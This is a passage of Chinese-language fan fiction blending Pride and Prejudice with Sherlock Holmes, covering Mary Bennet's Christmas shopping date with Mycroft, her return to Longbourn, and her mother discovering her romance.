麦考福特当然可以立刻开口表示自己可以给她购买一栋带花园的独立别墅,但是这不是玛丽想要的,麦考福特知道,玛丽需要的那份安全感,不是自己给她买的房子,而是她切切实实,靠着自己的能力赚取到的金钱,用这笔钱购买的。 想到这里,麦考福特忍不住伸出手抚摸着玛丽的发丝:“那我可是非常期待了,玛丽小姐。” 玛丽骄傲的扬起下巴:“你可看好吧,麦考福特先生,夏洛克已经帮我联系了一位雇主,我很快就要开展自己的事业了,希望雷利的事情结束之后,我能顺顺利利的发展我的工作。” 麦考福特轻笑出声:“会的,都会顺利的,玛丽小姐。” 玛丽从床边蹦起来:“哦对了!夏洛克和那位雇主先生谈完了么?我是不是该下楼看一看?” 虽然是询问,但是玛丽已经打开了卧室的门跑到了楼下。 二楼房门打开着,玛丽在门口探头探脑的,敲着门:“夏洛克?” “怎么了?” 声音从背后传来,玛丽吓了一跳,麦考福特立刻环过她的肩膀,安抚她。 夏洛克没忍住翻了个白眼:“进来吧。” 绕开两人,夏洛克率先进了屋子。 玛丽跟在后面:“那位先生走了?” 夏洛克坐在沙发上,随手拿起报纸翻看:“走了,刚送走的。我帮你和他约好了,月薪10英镑,主要负责伦敦三家店铺的账务管理。” 算起来一年足足有120英镑,算是非常体面的收入了! 玛丽对此很满意,相比于自己胡乱到处找的事情,夏洛克介绍的这位雇主先生,实在是一个可靠的老板。 反而是麦考福特微微皱眉,120英镑的年薪,难道自己要五年才能等到玛丽小姐的求婚么! 75 第75章 有了新的工作,玛丽干劲满满,恨不得明天就走马上任。 但是临近圣诞节,大家都要回乡,雇主先生因为父亲的丧事,也有许多事情要处理,于是请夏洛克代为转告,等新一年的2月再来工作。 玛丽这次是肯定要回朗伯恩度过圣诞节了。 考虑到露易丝的情况,玛丽请安娜留下来照顾露易丝,朗伯恩只是一个小乡村,周围的亲戚邻居们都是熟悉的人,任何一个外来面孔出现,不会超过半天,就会被打听的清清楚楚。 给伊丽莎白和简回了信件,玛丽准备收拾一些礼物,都是要带回家里给凯蒂和莉迪亚的。 上帝,如果从伦敦回去,还没有给莉迪亚带礼物,她会一天三遍的在家里尖叫,吵得所有人不得安生。 必须要让所有人都知道,莉迪亚受到了天大的委屈。 距离出发回朗伯恩还有一天的空余,玛丽邀请麦考福特先生明天一起逛逛街,喝喝茶,散散步,毕竟等到圣诞节后再回来,就要是1月中旬的时间了。 麦考福特当然乐意之至。 第二天一大早麦考福特就安排好了马车在楼下等待,玛丽重新换回了平日的装扮,舒适的长裙下没有紧紧压迫肋骨的束腰。 上帝,昨晚睡觉的时候玛丽甚至能看到自己腰间的淤青,一时之间都不知道是麦考福特先生抓出来的,还是束腰绑出来的。 坐上马车的时候玛丽原本想坐在麦考福特先生对面,结果麦考福特却用一种“哀怨”的眼神看着玛丽。 玛丽不知道为什么,就是心里有点莫名发虚,转而调转方向坐在了麦考福特先生的旁边。 麦考福特还带着皮质的手套,脱掉一只手套之后握住了玛丽的手,她总是不乐意带手套,觉得很不舒服。 冬天的伦敦还是很冷的,麦考福特握着她冰冷的指尖微微皱眉,双手合掌将玛丽的手握在掌心:“冷么?” 玛丽摇摇头:“还好,我就是不喜欢手套,总觉得带着手套,手指被绑着似的。” 麦考福特将玛丽的手收在自己的长风衣下,厚重的风衣还带着麦考福特先生的体温,玛丽忽然伸出指尖戳了戳麦考福特先生的腰侧。 感觉到腰上的动静,麦考福特侧头看了玛丽一眼,发现她很是好奇的盯着自己的反应:“怎么了?” 玛丽惊讶的瞪着一双圆溜溜的眼睛:“难道你不怕痒么?” 她就可害怕痒了,玛丽刚才就是想要挠麦考福特先生的痒痒,倒是没想到麦考福特先生似乎根本不怕痒。 麦考福特微微挑眉:“是的,这让你失望了嘛?” 玛丽噘着嘴:“有一点点吧,我还想着要给你一些教训呢!” 还是头一次有人这样活泼又调皮的冲着麦考福特说,要给他一些教训,而麦考福特本人甚至甘之如饴。 麦考福特在风衣下揉搓着玛丽的指尖:“那可真是糟糕,不知道我哪里得罪了玛丽小姐,竟然让你需要教训教训我呢?” 玛丽抓着麦考福特的一只手,摸着自己的腰侧:“因为你把我的腰都掐紫了!” 说是紫了实际上有点过了头,一点点的淤青还是有的,玛丽毫无原则的将这一罪行归咎于麦考福特先生。 麦考福特立刻回想起昨日的种种,一双手都不知道摆在那里,下意识的想要帮玛丽揉一揉,结果她忽然笑着扭动躲开:“不行不行,麦考福特先生,我和你可不一样,我可怕痒。” 连忙将一双手都收了回来,端正的放在膝盖上,麦考福特实在是尴尬。 狭小的车厢里只剩下麦考福特的呼吸声和玛丽喘着气的笑闹声。 等到那种诡异的感觉消失,玛丽又主动握住麦考福特的双手,让他给自己取暖,两人的手在麦考福特的长风衣下紧紧相握,十指交叉。 玛丽:“今天我要去给凯蒂还有莉迪亚买一些礼物,真是可惜,你没办法去见见她们,我还是很想把你介绍给我的家人的。” 麦考福特看着玛丽的侧脸,此刻玛丽已经将脑袋都靠在他的臂膀上,麦考福特小心的调整了一下坐姿,让她靠的更舒服一些:“是么?我也是这么想的玛丽小姐。” 玛丽:“妈妈是一个……有点吵闹也有点愚笨的人*,但是我很爱她,她总是忙忙碌碌的做出一些错事,莉齐和简偶尔会觉得尴尬,觉得妈妈的行为有点丢脸,但是妈妈其实很爱我们,她记得我们每个人爱吃什么,喜欢穿什么,她真切的关心着我们。 简和莉齐你都看过了,她们都是很好的姐姐,关心我们,爱护我们。 凯蒂没什么主意,这不能怪她,简和莉齐比她大太多了,凯蒂不知道怎么和她们玩在一起,而且……诶,凯蒂有点害怕我,我又不是故意的,她自己非要偷偷玩我的那些实验器材,结果把眉毛烧掉了,那段时间,妈妈可担心她了,整天在家哭说,没有一个绅士会喜欢没有眉毛的小姑娘,幸好之后凯蒂的眉毛长出来了,那段时间妈妈都不给我准备小饼干了! 对了,我可以从家里给你带妈妈的小饼干,她做的黄油小饼干好吃极了!” 说道这里,玛丽手舞足蹈起来。 “就这样的大小,妈妈喜欢用袋子挤出来,会有一圈螺旋的花纹,可漂亮了,还有家里酿的果酱,也是妈妈的独门手艺,朗伯恩的乡亲们没人不说她手艺好的。” 玛丽打着圈的形容,恨不得下一秒就能把这个美味的小饼干从空气中拿出来,分享给麦考福特先生。 麦考福特看着玛丽一点点形容,仿佛这个饼干是普天之下头一号的美味,忍不住笑了起来。 玛丽继续说道:“还有莉迪亚,哦,莉迪亚是我最可爱的小笨蛋妹妹,整日里总有闹不完的笑话,不过她是个很可爱的女孩子……如果不是和我打架的话对了,我可得好好和安娜学一学,莉迪亚说不过我,就会和我打架,我每一次都打不过她!她还会叫上凯蒂做帮手!真是个坏丫头!” 麦考福特随着玛丽的讲述,仿佛面前出现了几个小女孩打打闹闹的画面,他仿佛也加入了这个活泛的家庭氛围里,成为了她们的一部分。 两人来到了一条商业街,玛丽打算给凯蒂和莉迪亚各买一顶漂亮的帽子,再买上几朵装饰的蕾丝花带,到时候她们用来修饰裙子还是手帕都是个好选择,给妈妈的话,可以买上几方手帕。 两人先来到了一家帽子店,玛丽几乎把自己大半身家都带来了,想到2月工作之后就有了薪水,玛丽倒是不太担心。 麦考福特先生一直跟在玛丽的身后,玛丽在架子上看来看去,实在看不出有什么区别,只能询问店主:“最近伦敦流行什么样的帽子?适合十七八岁的女孩子的那种。” 放弃了那些过于华丽的礼帽,店主推荐了几顶带着漂亮丝绸花朵的,对于少女来说自然又甜美,十分清新。 玛丽看来看去都一样,转头拿起一顶戴在头上,转头询问麦考福特先生:“这顶怎么样?” 麦考福特觉得可爱极了,当即点头,玛丽摘下来又换上了另一顶,麦考福特还是觉得可爱。 仿佛只要是玛丽小姐带上的帽子,都那么可爱活泼,没一顶帽子是不好看的。 玛丽小小的翻了个白眼:“看来你和我一样,都没什么审美!” 凯蒂和莉迪亚总能说出个几点优点缺点,麦考福特先生就会点头! 麦考福特实在忍不住笑:“玛丽小姐,我想重点不在于帽子如何,而在于你,不论你选择哪一顶帽子,我都会觉得好看的。” 旁边的贵妇也笑了起来:“真是一位嘴甜的先生,约翰,还不快把你店里漂亮的帽子都拿出来给小姐看看,这位先生会毫不犹豫的买单的。” 玛丽噘着嘴:“是我买单,这是给我妹妹的礼物。” 旁边的夫人们更是笑了起来,玛丽都不知道她们在笑什么。 选来选去,最后还是选了店主推荐的两顶,幸而价格不贵,玛丽又选了几个蕾丝缎带的装饰。 夫人们看到果真是玛丽买单,倒是嘀嘀咕咕起来,时不时还看了两眼麦考福特先生。 等到玛丽准备离开,麦考福特先生却指了指另一顶在架子上的帽子,上面装饰了一圈缎带,边缘还有一颗璀璨的宝石,帽带下方还坠了两颗圆润的珍珠。 这样一顶帽子看上去就十分亮眼。 麦考福特:“请将那顶帽子也一同打包。” 玛丽赶忙伸手:“不不不,我可买不起这样的帽子,而且只有一顶,凯蒂和莉迪亚会打起来的,到最后她们会合起伙来同我吵架,问我为什么只买了一顶。” 麦考福特伸手揉了揉玛丽的头顶,帮她抚平因为试戴帽子而有些变乱的发丝:“这是我送给你的圣诞礼物,玛丽小姐。” 玛丽愣了一下,转而又皱起眉头:“可是这太贵重了。” 麦考福特低头在玛丽的耳边小声回答:“玛丽小姐,不要拒绝一位爱慕者的礼物,这会让我心碎的。” 玛丽耳朵有些泛红,但是心里竟然涌出一丝丝奇怪的甜蜜,仿佛焦糖小蛋糕一样,有种古怪的快乐和满足。 麦考福特签署下账单,接过帽子给玛丽带上,在绑好细带之后看着玛丽略带红晕的脸颊:“真希望我能尽快给你签署所有的账单。” 玛丽一转头,扬起下巴:“我会尽快赚出公寓购房款的,麦考福特先生。” 看见麦考福特伸出胳膊,玛丽挽上麦考福特的臂弯:“真是想不到,如果夏洛克在这里,恐怕会很惊讶的,你竟然是这样一个甜言蜜语的先生,他还总说你沉默寡言呢。” 麦考福特微微挑眉:“毕竟对待兄弟,和对待……妻子可不能是同一种态度啊。” 【作者有话说】 麦考福特:各种甜言蜜语 夏洛克:*&……*&%*&……[狗头叼玫瑰] 76 第76章 玛丽故意扬起脸,但是通红的脸颊还是显示出了一丝少女的羞涩。 此刻忽然看见架子上另一顶帽子,那帽子通体黑色,罩着一层网纱,相比于其他的网纱更加紧密,如果不仔细看,是看不见网纱后的面容的。 玛丽忽然指向那顶帽子,让店主给她拿了下来。 店主将帽子拿下来,玛丽稍微比划了两下就请店主帮忙装好。 麦考福特看见这个帽子就知道玛丽在想什么,这是一种不需要言语就能心意相通的默契。 玛丽抚摸着那层繁密的面纱,小心的装在袋子里。 后面两人又去逛了香水店,玛丽挑挑拣拣,装出一副十分了解的样子。 结果每一个都要悄悄问问麦考福特先生,最后麦考福特建议玛丽选择了其中一款。 等到礼物都买好了,已经到了中午。 麦考福特带着玛丽去了一家私人俱乐部,这里不接待陌生人,只接待俱乐部的成员。 恰巧,麦考福特正是这里的座上宾。 玛丽品尝了十分美味的午餐,感觉这一天都美妙极了。 结束了午餐,两人有趁着有空,去了附近的公园散步,玛丽挽着麦考福特先生的手臂。 两人从曾经的学习经历,一直聊到和姐妹兄弟的相处。 玛丽虽然偶尔抱怨两句妹妹们,作为姐姐,总是被莉迪亚和凯蒂合伙欺负,但是麦考福特听得出来,这一点点抱怨,都是带着甜蜜的想念的。 麦考福特也会聊一聊小时候的夏洛克,诉说夏洛克在小时候就是一个与众不同的孩子,当然了,是和其他孩子相比。 说到夏洛克小时候养了一条叫做红胡子的小狗,麦考福特就忍不住抱怨道:“他整日牵着红胡子到处溜达闯祸,明明喂食梳毛都是我,可是红胡子就是喜欢跟着夏洛克。” 听到这里,玛丽忍不住笑了起来,谁能想到,现在这样沉稳的麦考福特先生,小时候还会计较家里的宠物更喜欢谁呢? 两人在公园里一路闲聊,两颗心也靠的更近了。 等到了傍晚,麦考福特先生还带着玛丽享受了另一家餐馆的晚餐,欣赏了美妙的音乐会。 回到家里的时候,玛丽兴奋极了。 一场完美的约会! 一切都安排的那么好! 等到了门口,两人依依惜别,玛丽握着麦考福特先生的手:“我回了家会给你写信的,你也要同我写信,虽然朗伯恩很少发生什么特别有趣的事情,但是我会和你说一说我们的圣诞晚会,或许还会参加一两场舞会。” 麦考福特也有些舍不得:“我像你保证,一定会每日给你写信,还请拜托玛丽小姐,在舞会上多多想念我。” 等到两人分开,玛丽回到楼上,安娜已经帮她把行李都收拾了出来,回到朗伯恩并不需要带很多东西,都是一些玛丽没有看完的书籍,还有几件麦考福特先生送来的衣服和斗篷,统共也只装了两个箱子,实在算得上轻装出行。 玛丽看着箱子里的空余,最终还是将基本书拿了出来,回到朗伯恩恐怕没什么空看书,将给姐妹们和妈妈带的礼物装进箱子,玛丽才去洗漱收拾。 躺在床上,明明第二天就要回家,玛丽却开始想念家里人了。 第一次离开家这么久,玛丽开始怀念那个吵吵闹闹的朗伯恩,开始怀念那片乡土。 第二天一大早,简和莉齐就乘着马车前来,舅舅和舅妈两人在另一辆马车上。 安娜在把玛丽送上车子之后驻留伦敦,守着221B,守着露易丝。 坐上马车,玛丽一下子就扑到了莉齐的怀里:“要回家了,不知道妈妈和凯蒂还有莉迪亚最近怎么样。” 莉齐拧了一下玛丽的鼻尖:“你还知道关心她们,来了伦敦这么久,就送上两封信,妈妈在和我们的信里可抱怨了许多呢。” 简在一边用手帕遮住半边脸,笑的不行。 玛丽双手捧着脸颊:“上帝,那我可糟糕啦,恐怕整个圣诞节我都不得安宁了!” 虽然这么说着,但是玛丽还是笑的很开心:“你们给凯蒂还有莉迪亚带礼物了么?” 简点点头:“带了,我带了一条裙子,还有凯蒂也是。” 莉齐也点头:“如果不给她带礼物,整个圣诞节我们都别想好过。” 玛丽也跟着点头,莉迪亚的威力,可是家里头一号的。 马车一路都很顺利,虽然下了雪,但是路上速度并不快,到达朗伯恩的时候没有发生任何意外。 爸爸妈妈还有凯蒂莉迪亚都在门口等着了,特别是妈妈,站在最前面,垫着脚尖张望着路口。 玛丽距离很远就看到了家人,连忙把头伸出窗口招手。 这样一个热情快活的姑娘,班纳特夫人都不敢相信是自己的三女儿,要知道她在去伦敦之前可是个闷不吭声的无趣小姐, 等到马车终于停下,玛丽率先下了车,扑进了妈妈的怀里:“妈妈,我真想念您。” 班纳特夫人还是那么吵闹,她大声的抱怨:“想念我,却不给我写信,我给你们写了那么多信,结果呢,你就随随便便的写了两张纸,还说想念我,我可一点都不相信你!” 看到旁边的加德纳先生和加德纳太太,班纳特夫人连忙上前:“你们都好么,这次可要多留一些日子,珍妮她们也都很想念你们!她和菲利普斯先生明天也会来的。” 珍妮菲利普斯是加德纳家三人中最小的一个,嫁给了菲利普斯先生,现在就住在梅里囤,两家人走动的很频繁,莉迪亚就非常喜欢去姨妈家里。 一听说小妹妹和妹夫明日也来,加德纳先生心里也很高兴。 班纳特太太作为三个人的中的大姐姐,总是喜欢和弟弟妹妹们多见见面,聊一聊的。 莉齐和简都跟在后面,一家人进了屋子之后凯蒂和莉迪亚就等不及了,围着三个姐姐们开始伸手要礼物。 玛丽请女仆帮忙将箱子拎到卧室。 莉迪亚昂首挺胸的走到玛丽的面前,大摇大摆的伸出手:“玛丽,我的礼物呢!” 玛丽时隔几个月再次看到莉迪亚这幅骄傲小公鸡的模样,竟然觉得有几分可爱了,故意逗弄她:“我没有给你准备礼物。” 莉迪亚立刻瞪圆了眼睛,她和玛丽的眼睛几乎一模一样,转而就尖叫着冲妈妈抱怨:“妈妈,你看看玛丽!她从伦敦回来,都没有给我带礼物!” 班纳特太太还在和加德纳先生聊天,一听莉迪亚的话就满不在乎的晃了晃手里的手帕:“不会的,玛丽不会这么冷酷的!” 玛丽故意坐在了妈妈的旁边摇头晃脑:“谁说的呢,伦敦可是个铁石心肠的城市,我去了伦敦以后,说不定也变得铁石心肠起来啦!” 莉迪亚差点气哭了,她真的以为玛丽没有带礼物,旁边的凯蒂左看右看,最后跑去找了简:“简,你快说说,你们带了什么回来?” 玛丽忍不住笑了起来,看着莉迪亚嘟着嘴,气鼓鼓的坐在一边,班纳特先生正在壁炉边一边看报纸,偶尔还和莉齐偷偷说两句话,简被凯蒂歪缠着,再三表示,她们都带了礼物。妈妈和加德纳先生加德纳太太一再诉说自己最喜欢的就是简,宾利先生很快就要和简求婚,到时候春天到了,他们来朗伯恩参加婚礼的之后可以好好餐馆内瑟菲尔德。 回家了。 玛丽想着。 虽然外面的世界很美好,但是家是不一样的感觉,只有真的离开过家里,才知道家对她意味着什么。 玛丽试探性的伸出手,给了妈妈一个拥抱。 班纳特太太正和加德纳太太诉说内瑟菲尔德的花园,忽然被玛丽抱住,下意识的愣了一下:“怎么了,玛丽?” 玛丽笑了起来:“没什么,妈妈,我就是想说,我真是想念你。” 班纳特太太莫名其妙,但还是摸了摸玛丽的头:“好吧,你总是奇奇怪怪的,是不是赶路累了?如果累了就快些上去休息吧,这里都是家人,没人会说你的。” 是啊,这里都是家人,包容她,爱护她的家人。 玛丽捧着脸坐在一边:“我不累,我乐意坐在这里听你们说说话。” 莉迪亚小眼珠子翻来翻去,玛丽一看就知道她在打什么主意:“莉迪亚,你不能去翻我的箱子,我上了锁的。” 一听这话,莉迪亚一整个丧气的靠在椅背上,冲着玛丽非常大声的哼了一声。 玛丽笑得不行,她已经想好了要写信和麦考福特先生说,她是怎么“欺负”妹妹们的了。 等到晚餐结束,玛丽确实有些疲惫了,和几个人道过晚安,就先上楼休息。 听着楼下偶尔传来的笑声,玛丽坐在书桌前,摊开纸笔。 房间的壁炉烧的很旺,木头偶尔爆出一两声噼啪的声响,窗外的风偶尔吹动远处森林,传来呼呼的声响,可是屋子里暖烘烘的,玛丽沾上墨水,笔尖在纸上轻快的滑动着。 “亲爱的麦考福特先生:回到家里的感觉真好,虽然回到家里的第一秒我已经开始想念你了,真希望你也在这里……” 玛丽自己都不知道,她的嘴角飞扬,眼神里满是甜蜜美好的笑意,她真切的希望,能够和麦考福特先生拥有一个家庭,一个永远有话说,永远热热闹闹的家庭,哪里有温暖的壁炉,有冒着香气的红茶,有一切一切,让她觉得心里暖融融的人和事。 洋洋洒洒的写了一张纸,玛丽珍重的落下最后的签名。 “您真诚的,热爱的,新的一年会努力赚钱,早日同你缔结婚约的,玛丽班纳特。” 77 第77章 第二天菲利普斯姨妈和姨夫也来了朗伯恩,这个家里更是没有一秒安静。 屋子里永远充满了女孩子们的说话声,笑闹声。 这让班纳特先生和加德纳先生还有菲利普斯先生实在无法忍受,他们真不知道,怎么一个小小的帽子蕾丝就能让她们吵闹半天,难道就没有一丁点别的可以讨论的嘛。 玛丽正在书房里挑挑拣拣,这次回来没有带上几本书,玛丽打算来书房挑选一本打发时间。 班纳特先生三人躲进书房,看到玛丽之后都打了个招呼。 玛丽拿了书准备出去,班纳特先生还好心的提醒了一句:“你妈妈正在和简讨论结婚的婚纱,这时候出去恐怕你也会被叫去一起讨论的。” 听到这话玛丽只是摊了摊手:“这不是很好嘛?妈妈一定会把简打扮的漂漂亮亮的,成为朗伯恩最美丽的新娘子。” 班纳特先生小声抱怨道:“上帝,简已经足够漂亮啦,我可不耐烦听她们讨论一个蕾丝花纹讨论半天。” 玛丽却扯起嘴角笑了笑:“那她们还能讨论什么呢?爸爸,她们从没接触过外界,没有上过你们的学校,没有读过你们读过的书,她们的世界就是这么大,从小到大她们经历的也都是这些事情,能在这样日复一日平凡的生活里给自己找点乐子,已经很不错了。” 说完玛丽走出了书房。 班纳特先生是一个好父亲,却恐怕并不是一个好丈夫。 玛丽叹了口气,她无法对一个从小关爱她,尽力提供给她良好生活环境的爸爸产生怨恨,但是客观上也无法接受爸爸对妈妈的刻薄。 婚姻这一学问,是那么的深奥。 美好的爱情永远都结束于男女主人公的婚礼,因为婚礼之后,大部分的爱情都会被日复一日的生活杀死。 想到这里,玛丽竟然难得的有些难过了。 她不知道自己和麦考福特先生的爱情会如何,但是玛丽确定,自己不会被婚姻杀死,她会想办法给自己留一条活路,留一条退路。 不论如何,她的生活都不会糟糕到无法忍受,却无法离开的。 拿着书本走到休息室,妈妈正大声的和菲利普斯姨妈讨论到底是用什么花纹的装饰,妈妈认为应该用传统的简作为家里第一个出嫁的大女儿,很是该用传统的花纹,菲利普斯姨妈更活泼一些,她觉得可以用春天的花卉纹样。 两人各说各的,都觉得自己很有道理。 简在一边羞红了脸,莉迪亚毫不犹豫的站在妈妈这一边,凯蒂一直都跟着莉迪亚一起,伊丽莎白正和加德纳太太聊天,加德纳太太没有参与姐妹两的争执, 看到玛丽之后,菲利普斯姨妈实在没办法,只能喊上玛丽,希望自己的这一队伍能壮大一些。 她可实在是说不过自己的姐姐。 玛丽笑呵呵的坐到两人身边的长条沙发上,看着菲利普斯姨妈说自己的打算。 旁边的伊丽莎白时不时飞来两个眼神,玛丽好奇的看过去,伊丽莎白小声的询问:“怎么不见福尔摩斯先生?” 玛丽也凑到伊丽莎白的耳边:“他圣诞节很是忙碌。” 莉齐撇撇嘴,哈,男人,总有忙不完的事情。 玛丽仔细听了两位女士的讨论:“为什么不两个都用呢?一个用在头纱上,一个用在裙摆上?” 班纳特太太不高兴的说:“这样整体的搭配就不好看了,要统一,要和谐,嗨,你根本不懂!” 菲利普斯姨妈也不认可玛丽的话语,摆摆手让玛丽该忙什么忙什么去吧。 玛丽无奈,坐在一边看起了书籍。 莉迪亚悄悄走过来:“你真的没给我带礼物么?简可是说你带了!你别想骗过我。” 玛丽挪开了一个位置,莉迪亚坐在她的旁边,玛丽看着莉迪亚金棕色的小卷发,一脸我知道所有事情的表情,许久不见,就连她这样故作高深的表情都显得可爱极了。 莉迪亚其实也很漂亮,如果忽略她总是咋咋呼呼的性格,她坐在那里不说话的时候还是很唬人的,丰腴青春的身体,脸颊红润,双眼明媚,金棕色的小卷发让她看上去活泼又靓丽。 玛丽忽然合上书籍:“莉迪亚,你有喜欢的人么?” 莉迪亚仰起头:“忽然问这个做什么?” 玛丽想了想:“是叫丹尼儿的那个红制服军官?” 莉迪亚撇撇嘴:“他早就是过去式了,他们驻军调动,已经走了一个月了,哦!我就知道,你根本没注意我给你送的信,我在信上写了的!” 玛丽有点慌乱,她当时好像确实没注意这回事:“哦?那真抱歉,我真替你难过。” 莉迪亚小小的给了玛丽一拳头,打在她的胳膊上:“你可别装出这样一副模样,你才不会难过呢,你都不懂得欣赏那些帅气的军官们。” 玛丽忽然想起之前看过的卫兵,连忙岔开话题:“也不能这么说吧,我们可是分离了好几个月,说不定这几个月里我有了很大的变化,已经学会如何欣赏红制服了呢?” 莉迪亚小眼珠子一转立刻追问道:“怎么,你也在伦敦遇到了一个帅气的军官了嘛?” 旁边的伊丽莎白也坐了过来,两人把玛丽夹在中间。 玛丽把书放在旁边的桌上,若无其事的端起茶杯:“不是军官呀,我只是碰巧看见过女王的那些卫兵,确实很精神,特别是他们骑着马巡逻的时候。” 莉迪亚对这个非常感兴趣,立刻追问起来,玛丽是在哪里看见的,和梅里囤的那些军官们有什么区别。 玛丽仔细回想了一下:“他们的制服材料更高档,都是羊毛的,非常厚实挺括,肩膀宽阔,臂膀也很壮实,特别是一只手拽着缰绳的时候,整个胳膊的肌肉都十分蓬勃有力。” 莉迪亚捧着脸幻想起来:“天哪,早知道我也该去伦敦看一看,相比之下,梅里囤可没几位帅气的先生。” 凯蒂也挤了过来,四个姐妹都挤在一个沙发上,玛丽立刻变成了夹心饼干。 伊丽莎白撇撇嘴:“你已经长大了,莉迪亚,不该整天跟在军官后面跑来跑去的,我真该让爸爸妈妈好好管管你。” 莉迪亚立刻嘟着嘴生气起来:“妈妈才不会听你的呢,哼,你就是嫉妒我是舞会上最炙手可热的姑娘,大家都喜欢我。” 凯蒂凑了过来:“玛丽,你去伦敦参加过舞会嘛?伦敦的舞会是什么样的?” 凯蒂和莉迪亚都以为玛丽在伦敦的私人女校上学,自然追问起学校里有没有舞会。 玛丽装模作样的咳嗽了两声:“没有,你们知道的,我不耐烦参加这些事情。” 莉迪亚又骄傲的仰起头:“你每次都躲起来,要我说实在没必要,你没必要因为没有人邀请就躲起来,我下次可以给你介绍几位帅气的先生。” 玛丽憋着笑:“那倒不用了,不过谢谢你莉迪亚。” 莉迪亚被这句谢谢吓了一跳,古里古怪的看了玛丽两眼,真是奇怪,玛丽竟然会因为介绍舞伴谢谢她? 几个姐妹凑在一起说小话,玛丽没有提起任何学校里的事情,也没有提到关于麦考福特先生。 等到莉迪亚和凯蒂出去玩了,伊丽莎白才小声的询问:“你打算什么时候和妈妈还有爸爸说那位先生的事情。” 虽然玛丽说自有安排,但是伊丽莎白还是觉得自己有操不完的心。 玛丽靠在伊丽莎白的肩膀上:“你觉得爸爸和妈妈的生活幸福么?” 伊丽莎白沉默了一会,不知道该如何回答,作为爸爸最宠爱的孩子之一,她无法指责爸爸,但是也无法做到昧着良心说出爸爸妈妈的婚姻很幸福。 玛丽:“我在听到麦考福特先生求婚的时候,第一反应是害怕,我没办法和简一样,那么欣喜的接受,我总是回想起一些事情……我想要给自己留一条后路。” 伊丽莎白抬起手抚摸着玛丽的头发:“对不起……” 玛丽摇摇头,脸颊轻轻地磨蹭在伊丽莎白的肩膀上:“为什么要和我说对不起?莉齐,我不是说我不相信麦考福特先生,我确实打从心底里喜欢他,他尊重我,理解我,可是我还是我,我不希望把我整个人的未来,都寄托在别人的良心和道德上,我就是……有点拧巴。” 麦考福特先生很好,玛丽知道这件事,可是她还是希望,未来是能掌握在自己手里的。 玛丽:“我打算攒钱,在伦敦买上一栋公寓,不用很大,但是那是我自己的公寓,只属于我,不属于任何人。” 伊丽莎白无法理解:“福尔摩斯先生知道这件事么?” 玛丽:“是的,他也很支持我的选择,莉齐,你没办法理解我是吗?” 伊丽莎白点点头:“但是福尔摩斯先生能够理解你对吗?” 玛丽露出了一个微笑,是伊丽莎白从没见过的,带着爱情甜蜜的微笑:“是的,他立刻就理解了我……我总能无所顾忌的和他说出我的想法,我的感受,他能够指引我,坦率的表达自己的内心,我的那些纠结疑惑,不高兴,他总能够理解我。” 伊丽莎白是真真切切的感到高兴,给了玛丽一个大大的拥抱:“那我就再也没有什么不放心的了,玛丽,你会拥有一个幸福的婚姻的。” 玛丽靠在伊丽莎白的怀里:“谢谢你,莉齐,我会努力让自己掌握一段幸福的婚姻的。” “什么婚姻,玛丽?你们在说什么?!” 不知道什么时候,班纳特夫人站在两人旁边,她叉着腰,一双眼睛瞪得圆溜溜的,非常明显,玛丽和莉迪亚都是从妈妈身上继承了这样一双美丽的眼睛。 此刻这双眼睛盯着玛丽和伊丽莎白两人。 上帝! 玛丽感觉到一阵头皮发麻的恐惧,此刻的妈妈比女王陛下还要可怕!! 完了,她完蛋了!玛丽心里想着。 78 第78章 任何人都会害怕妈妈叉着腰念出自己的全名,哪怕上帝面对圣母玛利亚也会害怕。 玛丽菲莉帕班纳特,此刻瑟瑟发抖。 伊丽莎白立刻站起身,想要装作自己什么都不知道的样子转身离开。 迈开一步,结果发现自己的腰部被死死地拽住。 伊丽莎白回过头,玛丽低着脑袋,两只手都死死地抓着她衣服呢! 玛丽祈求的看着她:“救救我,救救我!!” 伊丽莎白想要把衣服拽回去,小声的冲玛丽喊道;“松开,快松开!” 玛丽:“NO!!” 任何人,任何人都好!!她没办法一个人面对现在的妈妈! 玛丽祈求的看着伊丽莎白。 班纳特太太微微眯着双眼,一只手掐着腰,另一只手捏着手帕,伸出一根指头,从玛丽点到伊丽莎白:“你们两个都别想跑!” 伊丽莎白知道自己肯定跑不掉了,无奈的坐在沙发上,玛丽尽量让自己蜷缩在伊丽莎白的身后。 加德纳舅妈还有菲利普斯姨妈两个女士这次和班纳特太太同仇敌忾起来。 家里竟然有一位淑女陷入爱情,可是她们却一无所知!!简直不能原谅! 班纳特太太坐在最中间的位置,她死死地盯着玛丽:“玛丽菲莉帕班纳特!你现在必须老老实实,全部交代,如果让我知道有任何一件事情隐瞒了我,我会非常生气的!” 玛丽从伊丽莎白的肩膀后面伸出毛茸茸的半个小脑袋,只有一双眼睛露出来:“妈妈,你太严肃了,这不像你!” 班纳特夫人蹭一下就站了起来,在休息室里来回走动:“严肃!难道我要什么都不知道吗!那位先生叫什么,收入多少?做了什么工作?我一无所知!” 伊丽莎白立刻端坐在沙发上:“我和简都见过,是一个很沉稳的绅士,目前在政府做公职人员,具体收入应该不错,在伦敦有一套房子。” 班纳特夫人止住脚步:“你和简都见过!为什么没和家里写信!为什么没告诉我们!” 玛丽惊呼:“莉齐!你背叛我!!” 伊丽莎白努力想要把玛丽拽出来:“这怎么能算背叛,你必须自己面对妈妈,玛丽!” 玛丽还在往伊丽莎白背后躲着,班纳特太太看不过眼,伸出手把玛丽拽出来自己坐好,别往伊丽莎白的背后藏着,有什么好藏着的,难道是什么见不得人的事情嘛! 班纳特太太重新坐了下来:“每个单身汉都是要结婚的,玛丽,你得好好把握机会,你长相一般,也就脑子还算不错,你得抓住这位绅士的心,我的好孩子,快告诉妈妈,你和他是怎么遇见的?他同你表露过心意没有?” 玛丽眼看着伊丽莎白已经躲到一边,独留自己面对妈妈,愤愤的撇撇嘴小声冲伊丽莎白生气:“你再也不是我最喜欢的姐姐了!” 伊丽莎白在一边画十字:“上帝保佑,如果做你最喜欢的姐姐要面对妈妈的追问,我可真是做不了这么崇高的位置。” 班纳特夫人一个手帕砸了过来:“别当着我的面说小话,快回答我,玛丽,别让我着急。” 简在一边和伊丽莎白捂着嘴偷笑,玛丽如坐针毡,只能一个人面对姨妈舅妈还有妈妈的追问。 玛丽嘀嘀咕咕:“我和他的弟弟是朋友,后面偶然和他认识的,他和我表露了心意的。” 班纳特太太发出一声惊喜的抽泣:“他收入多少?今年多大了?” 玛丽看着三位女士亮闪闪的眼神:“据我所知,大约一万五左右,今年二十七岁了。” 班纳特太太和菲利普斯姨妈紧紧握住彼此的手。 上帝啊,年收入一万五的绅士!真是一个发着金光的单身汉! 